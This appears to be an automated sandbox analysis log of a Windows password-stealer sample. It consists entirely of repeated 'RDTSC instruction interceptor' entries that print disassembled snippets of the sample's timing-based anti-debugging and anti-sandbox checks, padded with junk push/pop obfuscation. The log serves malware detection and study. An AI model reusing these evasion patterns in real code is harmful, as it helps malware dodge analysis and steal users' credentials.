Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDFEBB second address: BDFF36 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAF64864F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add ebx, 07D17A26h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FAF64864F28h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FAF64864F28h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b or dword ptr [ebp+19281CD5h], edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FAF64864F38h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDF0F3 second address: BDF0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE0D18 second address: BE0D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE0D24 second address: BE0D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE0D2A second address: BE0D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FAF64864F26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE4E03 second address: BE4E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE4E09 second address: BE4E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE4140 second address: BE4144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE3106 second address: BE310A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE4E16 second address: BE4E42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sbb edi, 07449D00h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 mov dword ptr [ebp+19283351h], ecx 0x0000001b pop edi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 jc 00007FAF64D85736h 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE4144 second address: BE414A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE310A second address: BE310E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE310E second address: BE3114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE5BA3 second address: BE5BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE5BA7 second address: BE5C24 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FAF64864F2Eh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FAF64864F28h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b pushad 0x0000002c jbe 00007FAF64864F2Ch 0x00000032 mov dword ptr [ebp+1928346Bh], edx 0x00000038 mov edi, dword ptr [ebp+19282CAFh] 0x0000003e popad 0x0000003f and bx, AC41h 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007FAF64864F28h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 xchg eax, esi 0x00000061 je 00007FAF64864F30h 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE7E65 second address: BE7E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE8F0F second address: BE8F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE9D76 second address: BE9D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE8F13 second address: BE8F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE9D7A second address: BE9D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BE9D7E second address: BE9D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BECD31 second address: BECD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BECD35 second address: BECD54 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FAF64864F2Eh 0x0000000c pushad 0x0000000d jne 00007FAF64864F26h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BEF3D3 second address: BEF3E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FAF64D85736h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BED4AD second address: BED4B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BEF3E6 second address: BEF406 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FAF64D85745h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B99905 second address: B99910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B99910 second address: B99924 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAF64D8573Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B99924 second address: B99930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAF64864F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B99930 second address: B9993E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAF64D85736h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B9993E second address: B9994E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAF64864F26h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B9994E second address: B99954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B99954 second address: B99976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FAF64864F3Fh 0x0000000d jmp 00007FAF64864F33h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BF55C0 second address: BF55C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BF55C6 second address: BF55DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FAF64864F2Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BF55DA second address: BF55E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BF55E2 second address: BF55E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BFB645 second address: BFB64F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAF64D85736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BFD316 second address: BFD33A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAF64864F2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAF64864F31h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BFD33A second address: BFD340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BFD340 second address: BFD346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02443 second address: C02447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C028D7 second address: C028EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAF64864F33h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02D84 second address: C02D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02D88 second address: C02D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02D8C second address: C02DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FAF64D85742h 0x0000000c jc 00007FAF64D8573Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02DAC second address: C02DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FAF64864F2Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C02DBC second address: C02DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C03085 second address: C03093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007FAF64864F26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C03093 second address: C0309C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C05544 second address: C05550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAF64864F26h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C05550 second address: C05570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FAF64D85736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FAF64D85740h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C05570 second address: C05574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0786C second address: C078A4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAF64D85736h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAF64D85744h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FAF64D85744h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B948EC second address: B9491D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAF64864F39h 0x0000000c jmp 00007FAF64864F31h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B9491D second address: B94922 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0BB05 second address: C0BB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FAF64864F2Dh 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007FAF64864F26h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a js 00007FAF64864F26h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0C7A3 second address: C0C7C2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAF64D85736h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FAF64D85740h 0x00000012 jmp 00007FAF64D8573Ah 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0FF71 second address: C0FF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAF64864F26h 0x0000000a jl 00007FAF64864F3Fh 0x00000010 jmp 00007FAF64864F37h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0FF9A second address: C0FFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64D8573Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C0FFAB second address: C0FFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD9E65 second address: BD9E6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAF64D8573Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA2D6 second address: BDA2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA3E4 second address: BDA3E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA3E8 second address: BDA3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA3EE second address: BDA414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAF64D8573Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA56B second address: BDA56F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA56F second address: BDA596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FAF64D8573Ah 0x0000000f jmp 00007FAF64D85742h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA596 second address: BDA59B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA59B second address: BDA5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA8CD second address: BDA8D7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAF64864F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA8D7 second address: BDA920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FAF64D85738h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jc 00007FAF64D85739h 0x00000029 mov di, cx 0x0000002c push 00000004h 0x0000002e jmp 00007FAF64D8573Ah 0x00000033 nop 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDA920 second address: BDA924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDB032 second address: BDB05C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85744h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007FAF64D8573Ch 0x00000011 jnc 00007FAF64D85736h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDB05C second address: BDB060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDB060 second address: BDB0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov cx, 5576h 0x0000000c lea eax, dword ptr [ebp+1948DB68h] 0x00000012 sbb edx, 77041792h 0x00000018 push eax 0x00000019 jmp 00007FAF64D8573Fh 0x0000001e mov dword ptr [esp], eax 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FAF64D85738h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b cmc 0x0000003c mov edi, dword ptr [ebp+1928180Fh] 0x00000042 lea eax, dword ptr [ebp+1948DB24h] 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007FAF64D85738h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 0000001Ah 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 mov dh, ADh 0x00000064 push eax 0x00000065 js 00007FAF64D85744h 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
